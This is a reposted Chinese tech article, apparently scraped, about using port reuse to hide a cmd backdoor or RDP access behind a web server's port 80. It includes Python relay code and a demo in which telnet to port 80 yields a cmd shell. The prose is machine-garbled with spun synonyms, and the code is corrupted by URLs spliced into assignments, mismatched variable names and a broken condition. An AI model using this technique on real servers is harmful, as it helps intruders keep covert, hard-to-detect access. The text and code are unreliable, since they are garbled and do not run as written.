作家
登录

聊聊端口复用的实现和坑点

作者: 来源: 2017-11-08 14:02:17 阅读 我要评论

预备情况:

这里我用jspstudy搭建一个网页办事器,用虚拟机模仿外部情况

  • Windows7办事器:IP:192.168.1.8,开放80端口
  • Win2008虚拟机:IP:192.168.19.130

这里的端口复竽暌姑是模仿一?cmd后门,当外部IP:192.168.19.130 telnet本地IP:192.168.1.8时,反弹一个cmsdshell以前。

启动端口复竽暌姑对象,telnet连接192.168.1.8的80端口

聊聊端口复竽暌姑的实现和坑点

聊聊端口复竽暌姑的实现和坑点

可以看到我们成功获得了一个cmd shell的会话。

好了,具体的理论和坑点和拭魅战我们都做了,那么下面开端我们的源码分析。

(一):复竽暌姑端口重定向

目标:本来存在80端口,并且监听80端口,22,23,3389等端口复竽暌姑80端口

复竽暌姑端口重定向的实现

  • (1)外部IP连本地IP : 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389
  • (2)本地IP转外部IP : 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1
  1. #coding=utf-8 
  2.  
  3. import socket 
  4. import sys 
  5. import select 
  6.  
  7. host='192.168.1.8' 
  8. port=80 
  9. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  10. s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )  
  11. s.bind((host,port)) 
  12. s.listen(10) 
  13.  
  14. S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  15. S1.connect(('127.0.0.1',3389)) 
  16. print "Start Listen 80 =>3389....." 
  17. while 1: 
  18.     infds,outfds,errfds=select.select([s,],[],[],5) #转发3389需去除 
  19.     if len(infds)!=0:#转发3389需去除 
  20.         conn,(addr,port)=s.accept() 
  21.         print '[*] connected from ',addr,port 
  22.         data=http://mobile.51cto.com/conn.recv(4096)
  23.         S1.send(data) 
  24.         recv_data=http://mobile.51cto.com/s1.recv(4096)
  25.         conn.send(recv_data) 
  26. print '[-] connected down'
  27. S1.close() 
  28. s.close() 

起首我们创建了两个套接字 s 和 s1 , s 绑定 80 端口,个中 setsockopt 用到了 socket.SO_REUSEADDR 以达到端口复竽暌姑目标, s1 连接本地 3389 端口, s1 在这里起到了数据中转的感化, select 是我们用来处理壅塞问题的,不过在这里这段代码是有点问题的,这个问题在前文说过, 3389 端口可以或许连上,然则数据传输会中断,我们须要开启多线程来包管数据的持续性传输并撤消掉落 select 。

我们只须要加上一个断定(怎么断定数据标头可以自定义),或者断定本身的标记头。

  1. if 'GET' or ‘POST’ in data: 
  2.     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  3.     s.connect(('127.0.0.1',80)) 
  4.     s.send(data) 

      推荐阅读

      Netcraft 10月Web服务器排名:Nginx首超微软排第二

    Netcraft 宣布了2017年10月 Web 办事器查询拜访申报,本月 Netcraft一共统计了1,815,237,491 个站点和 6,886,362 台收集计算机,排名前三的依然是 Microsoft、Apache 和 nginx 。在 10 月>>>详细阅读


    本文标题:聊聊端口复用的实现和坑点

    地址:http://www.17bianji.com/lsqh/38630.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)